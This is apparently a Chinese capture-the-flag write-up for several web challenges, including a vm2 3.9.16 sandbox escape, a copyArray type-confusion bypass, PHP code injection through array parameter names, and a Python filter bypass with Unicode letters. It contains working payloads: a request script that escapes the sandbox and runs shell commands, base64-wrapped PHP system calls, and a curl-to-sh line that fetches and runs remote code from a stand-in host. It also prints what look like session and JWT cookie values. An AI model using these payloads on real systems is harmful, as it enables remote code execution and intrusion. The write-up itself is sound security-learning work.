参考wp

CookieBack

题目

image-20230523201738862

这题太傻逼了,我以为得需要用这个搜索框来查出一些东西来解题,一直卡在这个思路上面

image-20230523201839121

其实这里说的偷cookie,其实就是把自己的cookie传进去就行了…….

image-20230523202009372

特别的离谱……….

easy_node

这是个nday的题目

访问/src就能拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
const express = require('express');
const app = express();
var bodyParser = require('body-parser')
app.use(bodyParser.json())
const {VM} = require("vm2");
const fs = require("fs");
const session = require("express-session");
const cookieParser = require('cookie-parser');
session_secret = Math.random().toString(36).substr(2);
app.use(cookieParser(session_secret));
app.use(session({ secret: session_secret, resave: true, saveUninitialized: true }))

function copyArray(arr1){
var arr2 = new Array(arr1.length);
for (var i=0;i<arr1.length;i++){
if(arr1[i] instanceof Object){
arr2[i] = copyArray(arr1[i])
}else{
arr2[i] = arr1[i]
}
}
return arr2
}

app.get('/', function (req, res) {
res.send('see `/src`');
});



app.post('/vm2_tester',function(req,res){
if(req.body.name) {
req.session.user = {"username": req.body.name}
const properties = req.body.properties
for (let i = 0; i < properties.length; i++) {
if (properties[i] == 'vm2_tester') {
res.send('cant set vm2_tester by self')
return
}
}
req.session.user.properties = copyArray(properties)
res.send('Success')
}else {
res.send("input username")
}
})


app.post('/vm2',function (req, res) {

if(req.session.user && req.session.user.properties) {
for (var i = 0; i < req.session.user.properties.length; i++)
if (req.session.user.properties[i] == 'vm2_tester') {
if (req.body["code"]) {
if (/\b(?:function)\b/.test(req.body["code"])) {
res.send("define function not allowed")
return;
}
if (/\b(?:getPrototypeOf)\b/.test(req.body["code"])) {
res.send("define getPrototypeOf not allowed")
return;
}
const vm = new VM();
res.send(vm.run(req.body["code"]))
return
} else{
res.send("input code")
}
}
}else{
res.send("not vm2 tester rights")
}

})


app.get('/', function (req, res) {
res.send('see `/src`,use vm2 3.9.16');
});
app.get('/src', function (req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});

app.listen(3000, function () {
console.log('start listening on port 3000');
});

image-20230523202607587

这里因为给了这个vm2的版本,于是就去google搜索,于是第一个就是

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

这里当时卡住的原因是因为

image-20230523203752773

所以当时就很疑惑,不知道怎么绕过他

然后看到别人给的wp

1
{"name": 123,"properties":{"length": 1,"0":{"0": "vm2_tester","length":1}}}

image-20230523203841137

gpt给出的解释

这里能这样写来绕过是因为

image-20230523204429937

这三个地方的缘故

其实就是跟上面的这个copyArray函数有很大的关系

{"name": 123,"properties":{"length": 1,"0":{"0": "vm2_tester","length":1}}}

就是properties这个key值的长度是1,然后又因为arr1[0]是一个对象,然后满足第一个判断,然后到最后返回的arr2就是{"0":{"0": "vm2_tester","length":1}}这个玩意了

然后req.session.user.properties[i]就等于{"0":{"0": "vm2_tester","length":1}}

image-20230523205118270

这样的话就可以同时解决上面提出的矛盾了 主要还是归功于上面的那个copyArray函数了

最后的code代码执行就是前面搜的那篇文章里的内容了

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

image-20230523205306489

然后这里得需要python发包,bp和hackbar不行

1
2
3
4
5
6
7
8
9
10
import requests

url = 'http://116.236.144.37:26806/vm2'
data = {"code":"eval(\"const stack=()=>{new Error().stack;stack();};err = {};const handler = {getPr\"+\"ototypeOf(target) {(stack)();}};const proxiedErr = new Proxy(err, handler);try {throw proxiedErr;} catch ({constructor: c}) {c.constructor('return process')().mainModule.require('child_process').execSync('cat /f*');}\")"}
headers = {
"Content-Type": "application/json",
"Cookie": "rt_web_csrf_token=kOIwOsYocCJkXVKSQmTFWuvDWpVuizhu013Lxk78cg54iyChQBApFDCItboLOJeW; rt_web__jwt_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZDRkMzhkNTVmYTdlZTIxYTgzODQ2MTUyNjg3NWYyMDMiLCJ1c2VybmFtZSI6IjE1Nzk5MDYwODUyIiwiZXhwIjoxNjg0OTMwNTY5LCJlbWFpbCI6IjE0Nzg0NTYzMDlAcXEuY29tIn0.M_dtAsuFk53-OccuslbUMB8s1BgQTF4LnBNp6gYecJ4; connect.sid=s%3AMrWVq2g4AyaXTVVHfmYR-lk66QfcMNuC.2bEPGUZvaMBVCw7UlneXFQjT4t9oTEzCW6x4HkCtHkI·"
}
response = requests.post(url, json=data, headers=headers)
print(response.text)

image-20230523205848825

这里记得把cookie给换上自己的

easy_log

题目是长这样的

image-20230523210140219

image-20230523210119944

就是通过自己输入的值,来到这个php文件里执行代码,当然也过滤了很多东西

image-20230523210328183

php文件里就是这些内容

这里的话因为username被过滤太多东西了,php标记全给过滤掉了

于是我们就去看看ip或者uri能不能传值

image-20230523210917110

image-20230523210923513

写是写进去了,但是并没有执行

然后查看源码发现

image-20230523210956502

这里的把<给换掉了,那么我们就得另寻出路了

真正的解法就是传数组,这里的话waf只对参数的值的有用,对参数名是没有用的,

username[xxx]=123

就是后端只会检测123,并不会检测xxx

所以我们就可以利用这个方法来传参

直接用超级编码法

password=asd&username[<?php%20eval(base64_decode(c3lzdGVtKCJscyAvIik7));?>]=123

这是编码内容是system('ls /');

然后读出文件名

password=asd&username[<?php%20eval(base64_decode(c3lzdGVtKCdjYXQgL1MzcmVjdF8xU19IM3JlJyk7));?>]=123

image-20230523211833958

然后就读到了flag

ezpython

题目

image-20230523212029359

就是绕过关键字的过滤

这里的话我使用迷你下标进行绕过的(在之前的d3学到的这个)

payload

1
ₑval(__impₒrt__('o'+'s').pₒpen('curl https://your-shell.com/xxxx:666 |sh').read())

fun_java

image-20230523212639053

Jckson调getter,然后TemplatesImpl命令执行,和阿里云bypass_1差不多,但我没做出来

这是个文章开头给的链接的那个师傅写的(这里话先去看看bypass_1)